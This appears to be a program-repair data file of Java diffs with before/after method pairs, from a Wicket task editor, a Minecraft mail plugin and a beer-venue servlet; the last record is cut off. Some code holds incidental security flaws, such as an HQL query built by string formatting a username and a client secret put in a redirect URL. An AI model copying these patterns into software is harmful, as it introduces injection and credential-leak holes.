net.databinder.auth.hib.AuthDataSession; import net.databinder.hib.Databinder; import net.databinder.models.hib.HibernateListModel; import net.databinder.models.hib.HibernateObjectModel; import net.databinder.models.hib.QueryBuilder; import org.apache.wicket.AttributeModifier; import org.apache.wicket.Component; import org.apache.wicket.ajax.AjaxRequestTarget; import org.apache.wicket.markup.html.link.DownloadLink; import org.apache.wicket.markup.html.link.Link; import org.apache.wicket.markup.html.panel.EmptyPanel; import org.apache.wicket.markup.html.panel.Panel; import org.apache.wicket.model.AbstractReadOnlyModel; import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; import org.hibernate.Query; import org.hibernate.Session; import org.hibernate.Transaction; import de.elateportal.editor.TaskEditorApplication; import de.elateportal.editor.components.panels.tasks.CategoryPanel; import de.elateportal.editor.components.panels.tasks.SubtaskDefInputPanel; import de.elateportal.editor.components.panels.tree.ComplexTaskDefTree; import de.elateportal.editor.components.panels.tree.ComplexTaskdefTreeProvider; import de.elateportal.editor.preview.PreviewLink; import de.elateportal.editor.preview.PreviewPanel; import de.elateportal.editor.user.BasicUser; import de.elateportal.editor.util.RemoveNullResultTransformer; import de.elateportal.model.Category; import de.elateportal.model.ComplexTaskDef; import de.elateportal.model.ObjectFactory; import de.elateportal.model.SubTaskDefType; import de.elateportal.model.ComplexTaskDef.Revisions.Revision; /** * @author Steffen Dienst * */ public class TaskDefPage extends SecurePage { private Panel editPanel; private ComplexTaskDefTree tree; private final ComplexTaskdefTreeProvider treeProvider; public TaskDefPage() { super(); IModel<List<?>> tasklistmodel = new HibernateListModel(new QueryBuilder() { public Query build(final Session sess) { final Query q = sess.createQuery(String.format("select tasks from BasicUser u left join u.taskdefs tasks where u.username='%s'", AuthDataSession.get().getUser().getUsername())); q.setResultTransformer(RemoveNullResultTransformer.INSTANCE); return q; } }); // the admin sees all taskdefs if (TaskEditorApplication.isAdmin()) { tasklistmodel = new HibernateListModel(BasicUser.class); } treeProvider = new ComplexTaskdefTreeProvider(tasklistmodel); add(tree = new ComplexTaskDefTree("tree", treeProvider) { @Override protected void onSelect(final IModel<?> selectedModel, final AjaxRequestTarget target) { renderPanelFor(selectedModel, target); } }); editPanel = new EmptyPanel("editpanel"); add(editPanel.setOutputMarkupId(true)); } /** * Replace right hand form panel with an edit panel for the given model object. * * @param t * @param target */ public void renderPanelFor(final IModel<?> selectedModel, final AjaxRequestTarget target) { final Object t = selectedModel.getObject(); if (t instanceof ComplexTaskDef) { replaceEditPanelWith(target, new PreviewPanel("editpanel", (IModel<ComplexTaskDef>) selectedModel)); } else if (t instanceof Category) { replaceEditPanelWith(target, new CategoryPanel("editpanel", (HibernateObjectModel<Category>) selectedModel)); } else if (t instanceof SubTaskDefType) { final SubTaskDefType st = (SubTaskDefType) t; replaceEditPanelWith(target, new SubtaskDefInputPanel("editpanel", (HibernateObjectModel<SubTaskDefType>) selectedModel)); } else { replaceEditPanelWith(target, new EmptyPanel("editpanel")); } } private void replaceEditPanelWith(final AjaxRequestTarget target, final Panel edit) { edit.setOutputMarkupId(true); editPanel.replaceWith(edit); editPanel = edit; target.addComponent(editPanel); } @Override protected Component createToolbar(final String id) { return new TaskDefActions(id); } private class TaskDefActions extends Panel { public TaskDefActions(final String id) { super(id); final DownloadLink downloadLink = new DownloadLink("export", new AbstractReadOnlyModel<File>() { @Override public File getObject() { File tempFile = null; try { tempFile = File.createTempFile("taskdef", "export"); // marshal to xml final JAXBContext context = JAXBContext.newInstance(ComplexTaskDef.class); final Marshaller marshaller = context.createMarshaller(); final BufferedWriter bw = new BufferedWriter(new FileWriter(tempFile)); final ComplexTaskDef ctd = tree.getCurrentTaskdef().getObject(); addRevisionTo(ctd); marshaller.marshal(ctd, bw); bw.close(); } catch (final IOException e) { error("Konnte leider keine Datei schreiben, Infos siehe Logfile."); e.printStackTrace(); } catch (final JAXBException e) { error("Konnte leider kein XML erstellen, Infos siehe Logfile."); e.printStackTrace(); } return tempFile; } /** * Add current timestamp+author name as new revision. * * @param ctd */ private void addRevisionTo(final ComplexTaskDef ctd) { final Revision rev = new ObjectFactory().createComplexTaskDefRevisionsRevision(); rev.setAuthor(AuthDataSession.get().getUser().getUsername()); rev.setDate(System.currentTimeMillis()); final List<Revision> revisions = ctd.getRevisions().getRevision(); - rev.setSerialNumber(revisions.size()); + rev.setSerialNumber(revisions.size() + 1); revisions.add(rev); } }, "pruefung.xml"); downloadLink.setDeleteAfterDownload(true); final Link deleteLink = new Link("delete") { @Override public void onClick() { final Object toDelete = tree.getSelected().getObject(); System.out.println("removing " + toDelete); final Object parent = treeProvider.findParentOf(toDelete); System.out.println("parent is " + parent); if (parent instanceof Category) { System.out.println(((Category) parent).getTaskBlocksItems()); } final org.hibernate.classic.Session session = Databinder.getHibernateSession(); Transaction transaction = session.beginTransaction(); session.save(treeProvider.removeFromParent(toDelete)); session.flush(); transaction.commit(); transaction = session.beginTransaction(); session.delete(toDelete); transaction.commit(); } }; deleteLink.add(new AttributeModifier("onclick", true, Model.of("return confirm('Sind Sie sicher, dass das selektierte Element gel&ouml;scht werden soll?');"))); add(new PreviewLink("preview", new AbstractReadOnlyModel<ComplexTaskDef>() { @Override public ComplexTaskDef getObject() { return tree.getCurrentTaskdef().getObject(); } })); add(downloadLink); add(deleteLink); // add(new NullPlug("delete")); } } }
true
true
public TaskDefActions(final String id) { super(id); final DownloadLink downloadLink = new DownloadLink("export", new AbstractReadOnlyModel<File>() { @Override public File getObject() { File tempFile = null; try { tempFile = File.createTempFile("taskdef", "export"); // marshal to xml final JAXBContext context = JAXBContext.newInstance(ComplexTaskDef.class); final Marshaller marshaller = context.createMarshaller(); final BufferedWriter bw = new BufferedWriter(new FileWriter(tempFile)); final ComplexTaskDef ctd = tree.getCurrentTaskdef().getObject(); addRevisionTo(ctd); marshaller.marshal(ctd, bw); bw.close(); } catch (final IOException e) { error("Konnte leider keine Datei schreiben, Infos siehe Logfile."); e.printStackTrace(); } catch (final JAXBException e) { error("Konnte leider kein XML erstellen, Infos siehe Logfile."); e.printStackTrace(); } return tempFile; } /** * Add current timestamp+author name as new revision. * * @param ctd */ private void addRevisionTo(final ComplexTaskDef ctd) { final Revision rev = new ObjectFactory().createComplexTaskDefRevisionsRevision(); rev.setAuthor(AuthDataSession.get().getUser().getUsername()); rev.setDate(System.currentTimeMillis()); final List<Revision> revisions = ctd.getRevisions().getRevision(); rev.setSerialNumber(revisions.size()); revisions.add(rev); } }, "pruefung.xml"); downloadLink.setDeleteAfterDownload(true); final Link deleteLink = new Link("delete") { @Override public void onClick() { final Object toDelete = tree.getSelected().getObject(); System.out.println("removing " + toDelete); final Object parent = treeProvider.findParentOf(toDelete); System.out.println("parent is " + parent); if (parent instanceof Category) { System.out.println(((Category) parent).getTaskBlocksItems()); } final org.hibernate.classic.Session session = Databinder.getHibernateSession(); Transaction transaction = session.beginTransaction(); session.save(treeProvider.removeFromParent(toDelete)); session.flush(); transaction.commit(); transaction = session.beginTransaction(); session.delete(toDelete); transaction.commit(); } }; deleteLink.add(new AttributeModifier("onclick", true, Model.of("return confirm('Sind Sie sicher, dass das selektierte Element gel&ouml;scht werden soll?');"))); add(new PreviewLink("preview", new AbstractReadOnlyModel<ComplexTaskDef>() { @Override public ComplexTaskDef getObject() { return tree.getCurrentTaskdef().getObject(); } })); add(downloadLink); add(deleteLink); // add(new NullPlug("delete")); }
public TaskDefActions(final String id) { super(id); final DownloadLink downloadLink = new DownloadLink("export", new AbstractReadOnlyModel<File>() { @Override public File getObject() { File tempFile = null; try { tempFile = File.createTempFile("taskdef", "export"); // marshal to xml final JAXBContext context = JAXBContext.newInstance(ComplexTaskDef.class); final Marshaller marshaller = context.createMarshaller(); final BufferedWriter bw = new BufferedWriter(new FileWriter(tempFile)); final ComplexTaskDef ctd = tree.getCurrentTaskdef().getObject(); addRevisionTo(ctd); marshaller.marshal(ctd, bw); bw.close(); } catch (final IOException e) { error("Konnte leider keine Datei schreiben, Infos siehe Logfile."); e.printStackTrace(); } catch (final JAXBException e) { error("Konnte leider kein XML erstellen, Infos siehe Logfile."); e.printStackTrace(); } return tempFile; } /** * Add current timestamp+author name as new revision. * * @param ctd */ private void addRevisionTo(final ComplexTaskDef ctd) { final Revision rev = new ObjectFactory().createComplexTaskDefRevisionsRevision(); rev.setAuthor(AuthDataSession.get().getUser().getUsername()); rev.setDate(System.currentTimeMillis()); final List<Revision> revisions = ctd.getRevisions().getRevision(); rev.setSerialNumber(revisions.size() + 1); revisions.add(rev); } }, "pruefung.xml"); downloadLink.setDeleteAfterDownload(true); final Link deleteLink = new Link("delete") { @Override public void onClick() { final Object toDelete = tree.getSelected().getObject(); System.out.println("removing " + toDelete); final Object parent = treeProvider.findParentOf(toDelete); System.out.println("parent is " + parent); if (parent instanceof Category) { System.out.println(((Category) parent).getTaskBlocksItems()); } final org.hibernate.classic.Session session = Databinder.getHibernateSession(); Transaction transaction = session.beginTransaction(); session.save(treeProvider.removeFromParent(toDelete)); session.flush(); transaction.commit(); transaction = session.beginTransaction(); session.delete(toDelete); transaction.commit(); } }; deleteLink.add(new AttributeModifier("onclick", true, Model.of("return confirm('Sind Sie sicher, dass das selektierte Element gel&ouml;scht werden soll?');"))); add(new PreviewLink("preview", new AbstractReadOnlyModel<ComplexTaskDef>() { @Override public ComplexTaskDef getObject() { return tree.getCurrentTaskdef().getObject(); } })); add(downloadLink); add(deleteLink); // add(new NullPlug("delete")); }
diff --git a/Essentials/src/com/earth2me/essentials/commands/Commandmail.java b/Essentials/src/com/earth2me/essentials/commands/Commandmail.java index 9b7f57f..b54b88a 100644 --- a/Essentials/src/com/earth2me/essentials/commands/Commandmail.java +++ b/Essentials/src/com/earth2me/essentials/commands/Commandmail.java @@ -1,75 +1,75 @@ package com.earth2me.essentials.commands; import java.util.List; import org.bukkit.Server; import com.earth2me.essentials.User; import com.earth2me.essentials.Util; import org.bukkit.ChatColor; import org.bukkit.entity.Player; public class Commandmail extends EssentialsCommand { public Commandmail() { super("mail"); } @Override public void run(Server server, User user, String commandLabel, String[] args) throws Exception { if (args.length >= 1 && "read".equalsIgnoreCase(args[0])) { List<String> mail = user.getMails(); if (mail.isEmpty()) { user.sendMessage(Util.i18n("noMail")); return; } for (String s : mail) { user.sendMessage(s); } user.sendMessage(Util.i18n("mailClear")); return; } if (args.length >= 3 && "send".equalsIgnoreCase(args[0])) { if (!user.isAuthorized("essentials.mail.send")) { user.sendMessage(Util.i18n("noMailSendPerm")); return; } Player player = server.getPlayer(args[1]); User u; if (player != null) { u = ess.getUser(player); } else { u = ess.getOfflineUser(args[1]); } if (u == null) { user.sendMessage(Util.format("playerNeverOnServer", args[1])); return; } charge(user); if (!u.isIgnoredPlayer(user.getName())) { u.addMail(ChatColor.stripColor(user.getDisplayName()) + ": " + getFinalArg(args, 2)); } user.sendMessage(Util.i18n("mailSent")); return; } if (args.length >= 1 && "clear".equalsIgnoreCase(args[0])) { user.setMails(null); user.sendMessage(Util.i18n("mailCleared")); return; } - user.sendMessage(Util.format("usage", "/mail [read|clear|send [to] [message]]")); + throw new NotEnoughArgumentsException(); } }
true
true
public void run(Server server, User user, String commandLabel, String[] args) throws Exception { if (args.length >= 1 && "read".equalsIgnoreCase(args[0])) { List<String> mail = user.getMails(); if (mail.isEmpty()) { user.sendMessage(Util.i18n("noMail")); return; } for (String s : mail) { user.sendMessage(s); } user.sendMessage(Util.i18n("mailClear")); return; } if (args.length >= 3 && "send".equalsIgnoreCase(args[0])) { if (!user.isAuthorized("essentials.mail.send")) { user.sendMessage(Util.i18n("noMailSendPerm")); return; } Player player = server.getPlayer(args[1]); User u; if (player != null) { u = ess.getUser(player); } else { u = ess.getOfflineUser(args[1]); } if (u == null) { user.sendMessage(Util.format("playerNeverOnServer", args[1])); return; } charge(user); if (!u.isIgnoredPlayer(user.getName())) { u.addMail(ChatColor.stripColor(user.getDisplayName()) + ": " + getFinalArg(args, 2)); } user.sendMessage(Util.i18n("mailSent")); return; } if (args.length >= 1 && "clear".equalsIgnoreCase(args[0])) { user.setMails(null); user.sendMessage(Util.i18n("mailCleared")); return; } user.sendMessage(Util.format("usage", "/mail [read|clear|send [to] [message]]")); }
public void run(Server server, User user, String commandLabel, String[] args) throws Exception { if (args.length >= 1 && "read".equalsIgnoreCase(args[0])) { List<String> mail = user.getMails(); if (mail.isEmpty()) { user.sendMessage(Util.i18n("noMail")); return; } for (String s : mail) { user.sendMessage(s); } user.sendMessage(Util.i18n("mailClear")); return; } if (args.length >= 3 && "send".equalsIgnoreCase(args[0])) { if (!user.isAuthorized("essentials.mail.send")) { user.sendMessage(Util.i18n("noMailSendPerm")); return; } Player player = server.getPlayer(args[1]); User u; if (player != null) { u = ess.getUser(player); } else { u = ess.getOfflineUser(args[1]); } if (u == null) { user.sendMessage(Util.format("playerNeverOnServer", args[1])); return; } charge(user); if (!u.isIgnoredPlayer(user.getName())) { u.addMail(ChatColor.stripColor(user.getDisplayName()) + ": " + getFinalArg(args, 2)); } user.sendMessage(Util.i18n("mailSent")); return; } if (args.length >= 1 && "clear".equalsIgnoreCase(args[0])) { user.setMails(null); user.sendMessage(Util.i18n("mailCleared")); return; } throw new NotEnoughArgumentsException(); }
diff --git a/src/main/java/com/brotherlogic/booser/servlets/APIEndpoint.java b/src/main/java/com/brotherlogic/booser/servlets/APIEndpoint.java index 90adb57..9ca31df 100644 --- a/src/main/java/com/brotherlogic/booser/servlets/APIEndpoint.java +++ b/src/main/java/com/brotherlogic/booser/servlets/APIEndpoint.java @@ -1,368 +1,368 @@ package com.brotherlogic.booser.servlets; import java.io.IOException; import java.io.PrintWriter; import java.net.MalformedURLException; import java.net.URL; import java.text.DateFormat; import java.util.Collections; import java.util.Comparator; import java.util.LinkedList; import java.util.List; import java.util.Map; import java.util.Map.Entry; import java.util.TreeMap; import javax.servlet.ServletException; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import com.brotherlogic.booser.Config; import com.brotherlogic.booser.atom.Atom; import com.brotherlogic.booser.atom.Beer; import com.brotherlogic.booser.atom.Drink; import com.brotherlogic.booser.atom.FoursquareVenue; import com.brotherlogic.booser.atom.User; import com.brotherlogic.booser.atom.Venue; import com.brotherlogic.booser.storage.AssetManager; import com.brotherlogic.booser.storage.db.Database; import com.brotherlogic.booser.storage.db.DatabaseFactory; import com.brotherlogic.booser.storage.web.Downloader; import com.brotherlogic.booser.storage.web.WebLayer; import com.google.gson.Gson; import com.google.gson.JsonArray; import com.google.gson.JsonElement; import com.google.gson.JsonObject; import com.google.gson.JsonParser; import com.google.gson.JsonPrimitive; public class APIEndpoint extends UntappdBaseServlet { private static final String baseURL = "http://localhost:8080/"; private static final int COOKIE_AGE = 60 * 60 * 24 * 365; private static final String COOKIE_NAME = "untappdpicker_cookie"; @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (req.getParameter("action") != null && req.getParameter("action").equals("version")) { write(resp, "0.4"); return; } String token = null; if (req.getParameter("notoken") == null) { token = req.getParameter("access_token"); if (token == null) token = getUserToken(req, resp); } // If we're not logged in, server will redirect if (token != "not_logged_in") { AssetManager manager = AssetManager.getManager(token); String action = req.getParameter("action"); if (action == null) { resp.sendRedirect("/"); return; } if (action.equals("getVenue")) { double lat = Double.parseDouble(req.getParameter("lat")); double lon = Double.parseDouble(req.getParameter("lon")); List<Atom> venues = getFoursquareVenues(manager, lat, lon); processJson(resp, venues); } else if (action.equals("venueDetails")) { Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User me = manager.pullUser("BrotherLogic"); System.out.println("GOT USER = " + me); Venue v = manager.getVenue(req.getParameter("vid")); List<JsonObject> retList = new LinkedList<JsonObject>(); for (Entry<Beer, Integer> count : v.getBeerCounts().entrySet()) { JsonObject nObj = new JsonObject(); nObj.add("beer_name", new JsonPrimitive(count.getKey().getBeerName())); nObj.add("beer_style", new JsonPrimitive(count.getKey().getBeerStyle())); nObj.add("brewery_name", new JsonPrimitive(count.getKey().getBrewery() .getBreweryName())); nObj.add("count", new JsonPrimitive(count.getValue())); nObj.add("beer_score", new JsonPrimitive(count.getKey().resolveScore(token))); boolean had = false; for (Drink d : me.getDrinks()) - if (d.getBeer().getId().equals(count.getKey().getId())) + if (d.getBeer() != null && d.getBeer().getId().equals(count.getKey().getId())) { had = true; break; } if (had) nObj.add("had", new JsonPrimitive(true)); else nObj.add("had", new JsonPrimitive(false)); retList.add(nObj); } // Simple sorting for now Collections.sort(retList, new Comparator<JsonObject>() { @Override public int compare(JsonObject arg0, JsonObject arg1) { double diff = (arg1.get("beer_score").getAsDouble() - arg0.get("beer_score") .getAsDouble()) * 1000; System.out.println("DIFF = " + ((int) diff) + " from " + diff); return (int) diff; } }); System.out.println("TOP = " + retList.get(0).get("beer_score").getAsDouble()); JsonArray retArr = new JsonArray(); for (JsonObject obj : retList) retArr.add(obj); write(resp, retArr); } else if (action.equals("getNumberOfDrinks")) { Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User u = manager.getUser(); List<Drink> beers = u.getDrinks(); JsonObject obj = new JsonObject(); obj.add("drinks", new JsonPrimitive(beers.size())); obj.add("username", new JsonPrimitive(u.getId())); write(resp, obj); } else if (action.equals("getDrinks")) { Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User u = manager.getUser(); List<Drink> drinks = u.getDrinks(); Map<Beer, Integer> counts = new TreeMap<Beer, Integer>(); Map<Beer, Double> beers = new TreeMap<Beer, Double>(); for (Drink d : drinks) { if (!counts.containsKey(d.getBeer())) counts.put(d.getBeer(), 1); else counts.put(d.getBeer(), counts.get(d.getBeer()) + 1); beers.put(d.getBeer(), d.getRating_score()); } Gson gson = new Gson(); JsonArray arr = new JsonArray(); for (Beer b : beers.keySet()) { JsonObject obj = gson.toJsonTree(b).getAsJsonObject(); obj.add("rating", new JsonPrimitive(beers.get(b))); obj.add("drunkcount", new JsonPrimitive(counts.get(b))); arr.add(obj); } write(resp, arr); } else if (action.equals("getStyle")) { String style = req.getParameter("style"); if (style.equals("null")) style = ""; Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User u = manager.getUser(); List<Drink> drinks = u.getDrinks(); Map<Beer, Integer> counts = new TreeMap<Beer, Integer>(); Map<Beer, Double> rating = new TreeMap<Beer, Double>(); for (Drink d : drinks) if (style.length() == 0 || d.getBeer().getBeerStyle().equals(style)) { if (!counts.containsKey(d.getBeer())) counts.put(d.getBeer(), 1); else counts.put(d.getBeer(), counts.get(d.getBeer()) + 1); rating.put(d.getBeer(), d.getRating_score()); } Gson gson = new Gson(); JsonArray arr = new JsonArray(); for (Beer b : counts.keySet()) { JsonObject obj = gson.toJsonTree(b).getAsJsonObject(); obj.add("drunkcount", new JsonPrimitive(counts.get(b))); obj.add("rating", new JsonPrimitive(rating.get(b))); arr.add(obj); } write(resp, arr); } else if (action.equals("getBeer")) { String beerId = req.getParameter("beer"); DateFormat df = DateFormat.getInstance(); Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User u = manager.getUser(); List<Drink> drinks = u.getDrinks(); List<Drink> show = new LinkedList<Drink>(); for (Drink d : drinks) if (d.getBeer().getId().equals(beerId)) show.add(d); Gson gson = new Gson(); JsonArray arr = new JsonArray(); for (Drink d : show) { JsonObject obj = gson.toJsonTree(d.getBeer()).getAsJsonObject(); obj.add("date", new JsonPrimitive(df.format(d.getCreated_at().getTime()))); if (d.getPhoto_url() != null) obj.add("photo", new JsonPrimitive(d.getPhoto_url())); obj.add("rating", new JsonPrimitive(d.getRating_score())); arr.add(obj); } write(resp, arr); } else if (action.equals("users")) { Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); List<Atom> users = manager.getUsers(); JsonArray arr = new JsonArray(); for (Atom user : users) arr.add(new JsonPrimitive(user.getId())); write(resp, arr); } } } public List<Atom> getFoursquareVenues(AssetManager manager, double lat, double lon) { try { WebLayer layer = new WebLayer(manager); List<Atom> atoms = layer.getLocal(FoursquareVenue.class, new URL("https://api.foursquare.com/v2/venues/search?ll=" + lat + "," + lon + "&client_id=" + Config.getFoursquareClientId() + "&" + "client_secret=" + Config.getFoursquareSecret() + "&v=20130118"), false); return atoms; } catch (MalformedURLException e) { e.printStackTrace(); } return new LinkedList<Atom>(); } public String getUserDetails(String userToken) throws IOException { User u = AssetManager.getManager(userToken).getUser(); return u.getJson().toString(); } /** * Gets the user token from the request * * @param req * The servlet request object * @return The User Token */ private String getUserToken(final HttpServletRequest req, final HttpServletResponse resp) { if (req.getCookies() != null) for (Cookie cookie : req.getCookies()) if (cookie.getName().equals(COOKIE_NAME)) return cookie.getValue(); // Forward the thingy on to the login point try { // Check we're not in the login process if (req.getParameter("code") != null) { String response = Downloader.getInstance().download( new URL("https://untappd.com/oauth/authorize/?client_id=" + Config.getUntappdClient() + "&client_secret=" + Config.getUntappdSecret() + "&response_type=code&redirect_url=" + baseURL + "API&code=" + req.getParameter("code"))); // Get the access token JsonParser parser = new JsonParser(); String nToken = parser.parse(response).getAsJsonObject().get("response") .getAsJsonObject().get("access_token").getAsString(); // Set the cookie Cookie cookie = new Cookie(COOKIE_NAME, nToken); cookie.setMaxAge(COOKIE_AGE); cookie.setPath("/"); resp.addCookie(cookie); return nToken; } else resp.sendRedirect("http://untappd.com/oauth/authenticate/?client_id=" + Config.getUntappdClient() + "&client_secret=" + Config.getUntappdSecret() + "&response_type=code&redirect_url=" + baseURL + "API"); } catch (IOException e) { e.printStackTrace(); } return "not_logged_in"; } private void processJson(HttpServletResponse resp, List<Atom> atoms) throws IOException { JsonArray arr = new JsonArray(); for (Atom atom : atoms) arr.add(atom.getJson()); write(resp, arr.toString()); } private void write(HttpServletResponse resp, JsonElement obj) throws IOException { write(resp, obj.toString()); } private void write(HttpServletResponse resp, String jsonString) throws IOException { resp.setContentType("application/json"); PrintWriter out = resp.getWriter(); String convString = new String(jsonString.getBytes("UTF-8"), "US-ASCII"); out.print(convString); out.close(); } }
true
true
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (req.getParameter("action") != null && req.getParameter("action").equals("version")) { write(resp, "0.4"); return; } String token = null; if (req.getParameter("notoken") == null) { token = req.getParameter("access_token"); if (token == null) token = getUserToken(req, resp); } // If we're not logged in, server will redirect if (token != "not_logged_in") { AssetManager manager = AssetManager.getManager(token); String action = req.getParameter("action"); if (action == null) { resp.sendRedirect("/"); return; } if (action.equals("getVenue")) { double lat = Double.parseDouble(req.getParameter("lat")); double lon = Double.parseDouble(req.getParameter("lon")); List<Atom> venues = getFoursquareVenues(manager, lat, lon); processJson(resp, venues); } else if (action.equals("venueDetails")) { Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User me = manager.pullUser("BrotherLogic"); System.out.println("GOT USER = " + me); Venue v = manager.getVenue(req.getParameter("vid")); List<JsonObject> retList = new LinkedList<JsonObject>(); for (Entry<Beer, Integer> count : v.getBeerCounts().entrySet()) { JsonObject nObj = new JsonObject(); nObj.add("beer_name", new JsonPrimitive(count.getKey().getBeerName())); nObj.add("beer_style", new JsonPrimitive(count.getKey().getBeerStyle())); nObj.add("brewery_name", new JsonPrimitive(count.getKey().getBrewery() .getBreweryName())); nObj.add("count", new JsonPrimitive(count.getValue())); nObj.add("beer_score", new JsonPrimitive(count.getKey().resolveScore(token))); boolean had = false; for (Drink d : me.getDrinks()) if (d.getBeer().getId().equals(count.getKey().getId())) { had = true; break; } if (had) nObj.add("had", new JsonPrimitive(true)); else nObj.add("had", new JsonPrimitive(false)); retList.add(nObj); } // Simple sorting for now Collections.sort(retList, new Comparator<JsonObject>() { @Override public int compare(JsonObject arg0, JsonObject arg1) { double diff = (arg1.get("beer_score").getAsDouble() - arg0.get("beer_score") .getAsDouble()) * 1000; System.out.println("DIFF = " + ((int) diff) + " from " + diff); return (int) diff; } }); System.out.println("TOP = " + retList.get(0).get("beer_score").getAsDouble()); JsonArray retArr = new JsonArray(); for (JsonObject obj : retList) retArr.add(obj); write(resp, retArr); } else if (action.equals("getNumberOfDrinks")) { Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User u = manager.getUser(); List<Drink> beers = u.getDrinks(); JsonObject obj = new JsonObject(); obj.add("drinks", new JsonPrimitive(beers.size())); obj.add("username", new JsonPrimitive(u.getId())); write(resp, obj); } else if (action.equals("getDrinks")) { Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User u = manager.getUser(); List<Drink> drinks = u.getDrinks(); Map<Beer, Integer> counts = new TreeMap<Beer, Integer>(); Map<Beer, Double> beers = new TreeMap<Beer, Double>(); for (Drink d : drinks) { if (!counts.containsKey(d.getBeer())) counts.put(d.getBeer(), 1); else counts.put(d.getBeer(), counts.get(d.getBeer()) + 1); beers.put(d.getBeer(), d.getRating_score()); } Gson gson = new Gson(); JsonArray arr = new JsonArray(); for (Beer b : beers.keySet()) { JsonObject obj = gson.toJsonTree(b).getAsJsonObject(); obj.add("rating", new JsonPrimitive(beers.get(b))); obj.add("drunkcount", new JsonPrimitive(counts.get(b))); arr.add(obj); } write(resp, arr); } else if (action.equals("getStyle")) { String style = req.getParameter("style"); if (style.equals("null")) style = ""; Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User u = manager.getUser(); List<Drink> drinks = u.getDrinks(); Map<Beer, Integer> counts = new TreeMap<Beer, Integer>(); Map<Beer, Double> rating = new TreeMap<Beer, Double>(); for (Drink d : drinks) if (style.length() == 0 || d.getBeer().getBeerStyle().equals(style)) { if (!counts.containsKey(d.getBeer())) counts.put(d.getBeer(), 1); else counts.put(d.getBeer(), counts.get(d.getBeer()) + 1); rating.put(d.getBeer(), d.getRating_score()); } Gson gson = new Gson(); JsonArray arr = new JsonArray(); for (Beer b : counts.keySet()) { JsonObject obj = gson.toJsonTree(b).getAsJsonObject(); obj.add("drunkcount", new JsonPrimitive(counts.get(b))); obj.add("rating", new JsonPrimitive(rating.get(b))); arr.add(obj); } write(resp, arr); } else if (action.equals("getBeer")) { String beerId = req.getParameter("beer"); DateFormat df = DateFormat.getInstance(); Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User u = manager.getUser(); List<Drink> drinks = u.getDrinks(); List<Drink> show = new LinkedList<Drink>(); for (Drink d : drinks) if (d.getBeer().getId().equals(beerId)) show.add(d); Gson gson = new Gson(); JsonArray arr = new JsonArray(); for (Drink d : show) { JsonObject obj = gson.toJsonTree(d.getBeer()).getAsJsonObject(); obj.add("date", new JsonPrimitive(df.format(d.getCreated_at().getTime()))); if (d.getPhoto_url() != null) obj.add("photo", new JsonPrimitive(d.getPhoto_url())); obj.add("rating", new JsonPrimitive(d.getRating_score())); arr.add(obj); } write(resp, arr); } else if (action.equals("users")) { Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); List<Atom> users = manager.getUsers(); JsonArray arr = new JsonArray(); for (Atom user : users) arr.add(new JsonPrimitive(user.getId())); write(resp, arr); } } }
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (req.getParameter("action") != null && req.getParameter("action").equals("version")) { write(resp, "0.4"); return; } String token = null; if (req.getParameter("notoken") == null) { token = req.getParameter("access_token"); if (token == null) token = getUserToken(req, resp); } // If we're not logged in, server will redirect if (token != "not_logged_in") { AssetManager manager = AssetManager.getManager(token); String action = req.getParameter("action"); if (action == null) { resp.sendRedirect("/"); return; } if (action.equals("getVenue")) { double lat = Double.parseDouble(req.getParameter("lat")); double lon = Double.parseDouble(req.getParameter("lon")); List<Atom> venues = getFoursquareVenues(manager, lat, lon); processJson(resp, venues); } else if (action.equals("venueDetails")) { Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User me = manager.pullUser("BrotherLogic"); System.out.println("GOT USER = " + me); Venue v = manager.getVenue(req.getParameter("vid")); List<JsonObject> retList = new LinkedList<JsonObject>(); for (Entry<Beer, Integer> count : v.getBeerCounts().entrySet()) { JsonObject nObj = new JsonObject(); nObj.add("beer_name", new JsonPrimitive(count.getKey().getBeerName())); nObj.add("beer_style", new JsonPrimitive(count.getKey().getBeerStyle())); nObj.add("brewery_name", new JsonPrimitive(count.getKey().getBrewery() .getBreweryName())); nObj.add("count", new JsonPrimitive(count.getValue())); nObj.add("beer_score", new JsonPrimitive(count.getKey().resolveScore(token))); boolean had = false; for (Drink d : me.getDrinks()) if (d.getBeer() != null && d.getBeer().getId().equals(count.getKey().getId())) { had = true; break; } if (had) nObj.add("had", new JsonPrimitive(true)); else nObj.add("had", new JsonPrimitive(false)); retList.add(nObj); } // Simple sorting for now Collections.sort(retList, new Comparator<JsonObject>() { @Override public int compare(JsonObject arg0, JsonObject arg1) { double diff = (arg1.get("beer_score").getAsDouble() - arg0.get("beer_score") .getAsDouble()) * 1000; System.out.println("DIFF = " + ((int) diff) + " from " + diff); return (int) diff; } }); System.out.println("TOP = " + retList.get(0).get("beer_score").getAsDouble()); JsonArray retArr = new JsonArray(); for (JsonObject obj : retList) retArr.add(obj); write(resp, retArr); } else if (action.equals("getNumberOfDrinks")) { Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User u = manager.getUser(); List<Drink> beers = u.getDrinks(); JsonObject obj = new JsonObject(); obj.add("drinks", new JsonPrimitive(beers.size())); obj.add("username", new JsonPrimitive(u.getId())); write(resp, obj); } else if (action.equals("getDrinks")) { Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User u = manager.getUser(); List<Drink> drinks = u.getDrinks(); Map<Beer, Integer> counts = new TreeMap<Beer, Integer>(); Map<Beer, Double> beers = new TreeMap<Beer, Double>(); for (Drink d : drinks) { if (!counts.containsKey(d.getBeer())) counts.put(d.getBeer(), 1); else counts.put(d.getBeer(), counts.get(d.getBeer()) + 1); beers.put(d.getBeer(), d.getRating_score()); } Gson gson = 